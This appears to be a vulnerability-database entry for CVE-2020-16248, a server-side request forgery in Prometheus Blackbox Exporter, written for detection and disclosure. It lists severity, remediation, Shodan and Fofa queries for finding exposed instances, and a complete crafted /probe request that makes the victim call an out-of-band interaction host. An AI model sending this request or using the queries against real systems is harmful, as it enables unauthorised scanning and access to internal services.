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CVE-2020-16248: Prometheus Blackbox Exporter - Server-Side Request Forgery (SSRF)

TitlePrometheus Blackbox Exporter - Server-Side Request Forgery (SSRF)
AuthorDhiyaneshDk
SeverityMedium
ImpactAttackers can perform SSRF attacks, potentially accessing internal services or causing denial of service.
RemediationUpdate to version 0.17.1 or later to fix the vulnerability.
CVSS Score5.8
EPSS Score0.03527
CVE IDCVE-2020-16248
CWE IDCWE-918
Shodan Querytitle:"Blackbox Exporter"
Fofa Querytitle="Blackbox Exporter"
Tags cve cve2020 ssrf prometheus blackbox-exporter oast oob

🔍 Vulnerability Description

Prometheus Blackbox Exporter through 0.17.0 contains a server-side request forgery caused by unsanitized target parameter in /probe, letting attackers perform SSRF attacks, exploit requires sending crafted target parameter.

🌐 HTTP Request

GET /probe?target=d5s0pchle0o4qs1klkf09wk6wc34mpdcd.oast.fun&module=http_2xx HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/85.0.4183.127 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-16248.yaml

🦈 Packet Capture: ⬇️ Download cve-2020-16248.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A